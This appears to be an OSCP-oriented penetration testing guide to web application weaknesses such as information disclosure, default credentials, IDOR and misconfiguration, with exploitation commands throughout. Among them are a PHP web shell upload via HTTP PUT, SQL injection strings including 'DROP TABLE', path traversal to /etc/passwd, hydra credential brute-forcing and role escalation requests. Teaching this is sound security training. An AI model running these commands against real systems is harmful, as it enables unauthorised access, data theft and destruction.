Common Architectural Weaknesses
1. Weakness Categories Overview
Web application architectural weaknesses fall into several categories. Understanding these categories helps systematically identify and exploit vulnerabilities during OSCP assessments.
| Category | Description | OWASP Mapping |
|---|---|---|
| Information Disclosure | Exposing sensitive data to attackers | A05, A01 |
| Insecure Configuration | Default or misconfigured settings | A05 |
| Missing Access Control | Inadequate authorization checks | A01 |
| IDOR | Insecure Direct Object References | A01 |
| Security Misconfiguration | Broad category of config issues | A05 |
| Broken Authentication | Flaws in auth mechanisms | A07 |
2. Information Disclosure
Information disclosure occurs when an application reveals sensitive information that aids attackers in further exploitation.
2.1 HTTP Header Information
Server Identification Headers
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
X-AspNet-Version: 4.0.30319
X-Generator: WordPress/5.8
X-Drupal-Cache: HIT
Why it matters: These headers reveal:
- Server software and version — Allows targeted exploit selection
- Technology stack — PHP, ASP.NET, Python, etc.
- CMS/framework — WordPress, Drupal, Django, etc.
- Specific versions — Enables CVE-based attacks
Exploitation:
# Check headers for technology info
curl -sI http://target.com/ | grep -iE "server|powered|generator|x-"
# Use whatweb for technology detection
whatweb http://target.com
# Use wappalyzer
wappalyzer http://target.com
# Nmap scripting engine for tech detection
nmap -sV --script http-enum,http-title -p 80,443 target.com
Verbose Error Messages
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
<!-- Stack trace -->
Traceback (most recent call last):
File "/var/www/app/views/user.py", line 42, in get_user
user = User.query.filter_by(id=request.args['id']).first()
File "/usr/lib/python3.8/site-packages/sqlalchemy/orm/query.py", line 2675, in first
...
<!-- File path disclosure -->
Warning: include(/var/www/html/includes/config.php): failed to open stream: No such file
in /var/www/html/index.php on line 15
Why it matters:
- File paths — Reveal directory structure for LFI/path traversal
- Stack traces — Show code logic, database structure, framework versions
- Database errors — Reveal SQL structure, column names, data types
Exploitation:
# Trigger error messages
curl -s "http://target.com/page?id=INVALID"
curl -s "http://target.com/page?id=1' OR '1'='1"
curl -s "http://target.com/nonexistent-page-12345"
# Trigger PHP errors
curl -s "http://target.com/page?file=nonexistent.php"
# Trigger database errors
curl -s "http://target.com/search?q=' UNION SELECT 1,2,3--"
2.2 Source Code Disclosure
HTML Comments
<!-- TODO: Remove debug endpoint before production -->
<!-- Admin panel: /admin/dashboard -->
<!-- API key: sk-test-abc123def456 -->
<!-- Database: mysql://admin:password@db.internal:3306/app -->
<!-- Backup: /backup/site_backup_2024.zip -->
Exploitation:
# Extract comments from HTML
curl -s http://target.com/ | grep -oP '<!--.*?-->'
# Extract from JavaScript
curl -s http://target.com/app.js | grep -oP '//.*'
Hardcoded Secrets in Source
// frontend/app.js
const API_KEY = "sk-live-abc123";
const DB_PASSWORD = "SuperSecret123!";
const AWS_SECRET = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY";
# backend/config.py
DATABASE_URL = "postgresql://admin:password123@db.internal:5432/production"
SECRET_KEY = "my-secret-key-do-not-share"
JWT_SECRET = "jwt-signing-key-12345"
Exploitation:
# Search for secrets in JavaScript files
curl -s http://target.com/app.js | grep -iE "api.key|secret|password|token|aws_"
# Use trufflehog for secret scanning
trufflehog filesystem --directory=/path/to/downloaded/source/
# Use git-secrets
git secrets --scan /path/to/repo/
2.3 robots.txt
# Check robots.txt
curl -s http://target.com/robots.txt
# Typical contents:
# User-agent: *
# Disallow: /admin/
# Disallow: /backup/
# Disallow: /internal/
# Disallow: /api/v1/debug/
# Allow: /
Why it matters: robots.txt explicitly lists directories the developer doesn’t want indexed — often sensitive areas.
Exploitation:
# Access disallowed paths
curl -s http://target.com/admin/
curl -s http://target.com/backup/
curl -s http://target.com/internal/
curl -s http://target.com/api/v1/debug/
2.4 sitemap.xml
curl -s http://target.com/sitemap.xml
# Typical contents reveal all indexed URLs:
# <url><loc>http://target.com/admin/login</loc></url>
# <url><loc>http://target.com/api/users</loc></url>
# <url><loc>http://target.com/backup/db_dump.sql</loc></url>
2.5 .git Repository Exposure
# Check for exposed .git directory
curl -s http://target.com/.git/config
curl -s http://target.com/.git/HEAD
# If accessible, clone the entire repository
git clone http://target.com/.git/ /tmp/target-git/
# Or use tools to extract
wget -r -nH --cut-dirs=0 http://target.com/.git/
# Use git-dumper
git dumper http://target.com/.git/ /tmp/target-repo/
# Browse repository history for secrets
cd /tmp/target-repo/
git log --all --oneline
git show HEAD~5:config.php
git log -p --all | grep -i "password\|secret\|api_key"
2.6 Backup and Temporary Files
Common Backup File Extensions
.bak - Backup file
.old - Old version
.swp - Vim swap file
.swo - Vim swap file (crash)
.tmp - Temporary file
.copy - Copy file
~ - Emacs backup (file.txt~)
.orig - Original file
.1 - Numbered backup
Common Backup File Locations
/config.bak
/config.php.bak
/web.config.bak
/database.sql.bak
/backup.zip
/backup.tar.gz
/site.old
/index.php.swp
/.env.bak
/wp-config.php.bak
Exploitation:
# Gobuster for backup files
gobuster dir -u http://target.com \
-w /opt/wordlists/seclists/Discovery/Web-Content/backup-files.txt \
-x bak,old,swp,tmp,copy,orig,sql,zip,tar,gz \
-t 50
# ffuf for backup files
ffuf -u http://target.com/FUZZ \
-w /opt/wordlists/seclists/Discovery/Web-Content/common.txt \
-e .bak,.old,.swp,.tmp,.sql,.zip,.tar.gz \
-mc 200
# Common backup paths to check manually
for path in config.bak database.sql.bak backup.zip .env.bak wp-config.php.bak; do
curl -s -o /dev/null -w "%{http_code} http://target.com/$path\n" \
"http://target.com/$path"
done
2.7 API Endpoint Exposure
# Swagger/OpenAPI documentation
curl -s http://target.com/swagger.json
curl -s http://target.com/api/swagger.json
curl -s http://target.com/openapi.json
curl -s http://target.com/api-docs
# API documentation pages
curl -s http://target.com/swagger-ui.html
curl -s http://target.com/api/docs
curl -s http://target.com/redoc
# Actuator endpoints (Spring Boot)
curl -s http://target.com/actuator/
curl -s http://target.com/actuator/env
curl -s http://target.com/actuator/health
curl -s http://target.com/actuator/info
curl -s http://target.com/actuator/logfile
curl -s http://target.com/actuator/threaddump
3. Insecure Configuration
3.1 Default Credentials
| Service | Default Username | Default Password |
|---|---|---|
| phpMyAdmin | root | (empty) |
| Adminer | root | (empty) |
| RabbitMQ | guest | guest |
| Redis | (none) | (none) |
| Elasticsearch | elastic | changeme |
| Jenkins | admin | admin |
| Tomcat | tomcat | tomcat |
| Solr | admin | (empty) |
| MongoDB | (none) | (none) |
| Docker | (none) | (none) |
Exploitation:
# Test default credentials for common services
# phpMyAdmin
curl -s "http://target.com/phpmyadmin/?server=1" \
-d "pma_username=root&pma_password=&server=1&login=Go"
# RabbitMQ
curl -s -u guest:guest http://target.com:15672/api/overview
# Elasticsearch
curl -s -u elastic:changeme http://target.com:9200/
# Jenkins
curl -s -u admin:admin http://target.com:8080/login
# Use default credential wordlists
hydra -l admin -P /opt/wordlists/default_credentials.txt \
ssh://target.com -s 22
3.2 Open Ports and Services
# Full port scan
nmap -sV -p- target.com
# Check for common web-related ports
nmap -sV -p 80,443,8080,8443,3000,5000,8000,9090,2375,6443,6379,9200,15672 target.com
# Service version detection
nmap -sV --script vuln -p 80,443,8080 target.com
3.3 Directory Listing
# Apache - Options Indexes enabled
<Directory /var/www/html>
Options Indexes FollowSymLinks
</Directory>
# NGINX - autoindex on
location /files/ {
autoindex on;
}
Exploitation:
# Check for directory listing
curl -s http://target.com/backup/
curl -s http://target.com/uploads/
curl -s http://target.com/files/
curl -s http://target.com/tmp/
# Gobuster with directory listing detection
gobuster dir -u http://target.com \
-w /opt/wordlists/seclists/Discovery/Web-Content/common.txt \
-t 50
3.4 Debug Mode Enabled
# Django - Debug mode
DEBUG = True
# Flask - Debug mode
app.run(debug=True)
# Spring Boot - Actuator exposed
management.endpoints.web.exposure.include=*
# Rails - Verbose queries
config.log_level = :debug
Exploitation:
# Django debug page
curl -s "http://target.com/trigger-error"
# Returns full stack trace with settings
# Spring Boot Actuator
curl -s http://target.com/actuator/env
curl -s http://target.com/actuator/heapdump
# Rails verbose queries
# Check response for SQL query logging
3.5 Weak TLS Configuration
# Check TLS configuration
nmap --script ssl-enum-ciphers -p 443 target.com
# Check for weak protocols
testssl.sh https://target.com
# Check certificate details
openssl s_client -connect target.com:443 -servername target.com
# Check for SSLv3, TLS 1.0, TLS 1.1
nmap --script ssl-heartbleed,ssl-poodle -p 443 target.com
3.6 Missing Security Headers
# Check for security headers
curl -sI http://target.com/ | grep -iE "x-frame|x-content|strict|content-security|referrer"
# Expected headers:
# X-Frame-Options: DENY or SAMEORIGIN
# X-Content-Type-Options: nosniff
# Strict-Transport-Security: max-age=31536000
# Content-Security-Policy: default-src 'self'
# X-XSS-Protection: 1; mode=block
# Referrer-Policy: strict-origin-when-cross-origin
3.7 Permissive CORS
# Check CORS configuration
curl -sI -H "Origin: https://evil.com" http://target.com/api/data | \
grep -i "access-control"
# Vulnerable responses:
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Origin: https://evil.com (reflective)
4. Missing Access Control
4.1 Horizontal Privilege Escalation
Accessing resources of another user at the same privilege level.
# User A accesses User B's data
curl -H "Authorization: Bearer userA_token" \
http://target.com/api/users/userB_id/profile
# User A modifies User B's data
curl -X PUT -H "Authorization: Bearer userA_token" \
-H "Content-Type: application/json" \
-d '{"email": "hijacked@attacker.com"}' \
http://target.com/api/users/userB_id/profile
4.2 Vertical Privilege Escalation
Accessing admin-level resources as a regular user.
# Regular user tries admin endpoint
curl -H "Authorization: Bearer regular_user_token" \
http://target.com/api/admin/users
# Regular user tries admin function
curl -X POST -H "Authorization: Bearer regular_user_token" \
-H "Content-Type: application/json" \
-d '{"action": "delete_user", "target_id": 1}' \
http://target.com/api/admin/actions
# Change role via mass assignment
curl -X PUT -H "Authorization: Bearer regular_user_token" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}' \
http://target.com/api/users/me
4.3 Forced Browsing
Accessing URLs directly without proper authorization.
# Common admin paths
curl -s http://target.com/admin/
curl -s http://target.com/admin/dashboard
curl -s http://target.com/admin/users
curl -s http://target.com/wp-admin/
curl -s http://target.com/phpmyadmin/
curl -s http://target.com/manager/html
# Sensitive files
curl -s http://target.com/.env
curl -s http://target.com/config.yml
curl -s http://target.com/database.yml
curl -s http://target.com/server-status
5. IDOR (Insecure Direct Object References)
IDOR is one of the most common vulnerabilities in OSCP labs.
5.1 What is IDOR?
IDOR occurs when an application exposes internal implementation objects (database records, files, keys) through direct user-supplied references without proper access control.
5.2 IDOR Types
Numeric ID Manipulation
// Original request
GET /api/users/1001/profile HTTP/1.1
Authorization: Bearer user_token
// IDOR attempt - change ID
GET /api/users/1002/profile HTTP/1.1
Authorization: Bearer user_token
UUID/GUID Manipulation
// Original request
GET /api/documents/a1b2c3d4-e5f6-7890-abcd-ef1234567890 HTTP/1.1
// Try other UUIDs found in responses
GET /api/documents/b2c3d4e5-f6a7-8901-bcde-f12345678901 HTTP/1.1
Base64-encoded IDs
// Original: UXNlciA= (decodes to "User ")
GET /api/profile/UXNlciAxMDAx
// Try: UXNlciAxMDAy (decodes to "User 1002")
GET /api/profile/UXNlciAxMDAy
Hash-based IDs
// Original: md5("user_1001") = 5d41402abc4b2a76b9719d911017c592
GET /api/data/5d41402abc4b2a76b9719d911017c592
// Try: md5("user_1002")
GET /api/data/7d793037a0760186574b0282f2f435e7
5.3 IDOR Testing Methodology
# Step 1: Identify object references in requests
# Look for IDs in URLs, POST bodies, and headers
# Step 2: Change the ID to test access control
# Try sequential IDs
for i in $(seq 1 100); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"http://target.com/api/resource/$i")
if [ "$STATUS" = "200" ]; then
echo "Accessible: /api/resource/$i"
curl -s -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/resource/$i" | head -20
fi
done
# Step 3: Try different resource types
curl -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/orders/1"
curl -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/invoices/1"
curl -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/payments/1"
# Step 4: Test with different HTTP methods
curl -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "completed"}' \
"http://target.com/api/orders/999"
curl -X DELETE -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/orders/999"
5.4 IDOR in File Operations
# File download IDOR
curl -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/files/download?file=report_1001.pdf"
# Try other files
curl -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/files/download?file=report_1002.pdf"
# Path traversal via file parameter
curl -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/files/download?file=../../etc/passwd"
# Null byte truncation
curl -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/files/download?file=report.pdf%00.php"
6. Security Misconfiguration
6.1 Verbose Error Messages
# Trigger errors to reveal information
curl -s "http://target.com/api/users?id=INVALID_TYPE"
curl -s "http://target.com/api/users?id=1' OR '1'='1"
curl -s "http://target.com/api/users?id=1; DROP TABLE users--"
# Look for:
# - Stack traces with file paths
# - Database structure information
# - Framework version information
# - Internal IP addresses
6.2 Unprotected Administrative Interfaces
# Common admin paths
for path in /admin /administrator /manage /cp /cpanel /wp-admin /phpmyadmin /pma /myadmin /adminer; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "http://target.com$path")
echo "$STATUS http://target.com$path"
done
# Check for default login pages
curl -s "http://target.com/admin/login" | grep -i "username\|password\|login"
6.3 HTTP Methods Exposure
# Check allowed HTTP methods
curl -s -X OPTIONS http://target.com/ -I
# Test dangerous methods
curl -s -X TRACE http://target.com/
curl -s -X PUT http://target.com/shell.php -d "<?php system(\$_GET['cmd']); ?>"
curl -s -X DELETE http://target.com/api/users/1
# Nmap script for HTTP methods
nmap --script http-methods -p 80,443 target.com
7. Detection Methods Summary
Automated Detection
# Comprehensive information disclosure scan
# 1. Headers and technology
curl -sI http://target.com/ | grep -iE "server|powered|generator|x-"
whatweb http://target.com
# 2. robots.txt and sitemap
curl -s http://target.com/robots.txt
curl -s http://target.com/sitemap.xml
# 3. Directory and file enumeration
gobuster dir -u http://target.com \
-w /opt/wordlists/seclists/Discovery/Web-Content/common.txt \
-t 50 -x php,asp,aspx,jsp,html,txt,conf,cfg,ini,orig,backup,bak,swp,tar,gz,zip,sql
# 4. Git repository check
curl -s http://target.com/.git/config
# 5. Backup file check
ffuf -u http://target.com/FUZZ \
-w /opt/wordlists/seclists/Discovery/Web-Content/common.txt \
-e .bak,.old,.swp,.sql,.zip,.tar.gz,.orig,.tmp \
-mc 200
# 6. API documentation check
for path in /swagger.json /openapi.json /api-docs /swagger-ui.html /redoc; do
curl -s -o /dev/null -w "%{http_code} http://target.com$path\n" \
"http://target.com$path"
done
# 7. Security headers check
curl -sI http://target.com/ | grep -iE "x-frame|x-content|strict|content-security|referrer|access-control"
Manual Detection Checklist
- Check HTTP response headers for technology info
- Review error messages for stack traces and paths
- Check robots.txt and sitemap.xml
- Look for .git, .svn, .hg exposure
- Check for backup files (.bak, .old, .swp)
- Test IDOR on all parameterized endpoints
- Check for default credentials on management interfaces
- Verify security headers are present
- Test CORS configuration
- Check for exposed API documentation
- Test HTTP methods (PUT, DELETE, TRACE)
- Check for debug endpoints
8. OSCP Lab Scenarios
Scenario 1: Information Disclosure Chain
Setup: Application exposes version info, has backup files, and debug mode enabled.
# Step 1: Technology detection
curl -sI http://target.com/ | grep -iE "server|powered"
# Server: Apache/2.4.41 (Ubuntu)
# X-Powered-By: PHP/7.4.3
# Step 2: Check robots.txt
curl -s http://target.com/robots.txt
# Disallow: /backup/
# Step 3: Access backup directory
curl -s http://target.com/backup/
# Directory listing shows config.php.bak
# Step 4: Download backup
curl -s http://target.com/backup/config.php.bak -o config.php.bak
cat config.php.bak
# $db_password = "SuperSecret123!";
# Step 5: Use credentials
mysql -h target.com -u root -p'SuperSecret123!'
Scenario 2: IDOR to Full Account Takeover
Setup: User profile API with IDOR vulnerability.
# Step 1: Login and get token
TOKEN=$(curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"pass123"}' | \
python3 -c "import json,sys; print(json.load(sys.stdin)['token'])")
# Step 2: Access own profile
curl -s -H "Authorization: Bearer $TOKEN" \
http://target.com/api/users/1001/profile
# Step 3: IDOR - access other users
for i in $(seq 1001 1010); do
echo "=== User $i ==="
curl -s -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/users/$i/profile" | \
python3 -m json.tool 2>/dev/null | \
grep -E '"email"|"name"|"role"'
done
# Step 4: Escalate to admin
curl -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' \
http://target.com/api/users/1001/profile
Scenario 3: Exposed .git Repository
Setup: .git directory accessible via web.
# Step 1: Detect .git exposure
curl -s http://target.com/.git/HEAD
# ref: refs/heads/main
# Step 2: Clone repository
git clone http://target.com/.git/ /tmp/target-source/
# Step 3: Search for secrets
cd /tmp/target-source/
grep -r "password\|secret\|api_key\|token" --include="*.php" --include="*.py" --include="*.js" .
# Step 4: Check commit history for removed secrets
git log -p --all | grep -i "password\|secret\|api_key"
# Step 5: Use discovered credentials
9. Key Takeaways
For OSCP Exams
- Always check robots.txt and sitemap.xml — They explicitly reveal hidden paths.
- Look for .git exposure — A full source code dump with potential secrets.
- Check for backup files —
.bak,.old,.swpfiles often contain credentials. - Test every parameterized endpoint for IDOR — Change IDs, UUIDs, and encoded values.
- Trigger error messages — Stack traces reveal paths, versions, and structure.
- Check HTTP headers — Technology info guides exploit selection.
- Test default credentials — Management interfaces often use defaults.
- Security headers are often missing — Missing headers indicate broader misconfiguration.
- API documentation is gold — Swagger/OpenAPI reveals all endpoints and parameters.
- Information disclosure chains — One disclosure often leads to another; follow the chain.
Essential Commands
# Quick information disclosure scan
curl -sI http://target.com/ | grep -iE "server|powered|generator"
curl -s http://target.com/robots.txt
curl -s http://target.com/.git/config
curl -s http://target.com/swagger.json
# IDOR testing
for i in $(seq 1 50); do
curl -s -o /dev/null -w "%{http_code} " \
-H "Authorization: Bearer $TOKEN" \
"http://target.com/api/resource/$i"
done
# Backup file discovery
ffuf -u http://target.com/FUZZ \
-w common.txt -e .bak,.old,.swp,.sql,.zip \
-mc 200
# Technology detection
whatweb http://target.com
nmap -sV --script http-enum -p 80,443 target.com
10. Summary
Common architectural weaknesses are the bread and butter of OSCP web application assessments. Information disclosure provides the intelligence needed for targeted attacks. Insecure configurations provide easy entry points. Missing access control and IDOR vulnerabilities allow unauthorized data access and modification. The key to success is systematic testing: check every header, every endpoint, every parameter, and every file path. Information disclosure often chains into more severe vulnerabilities — a stack trace reveals a path, a path leads to a backup file, a backup file contains credentials, and credentials lead to full system compromise. Always follow the chain.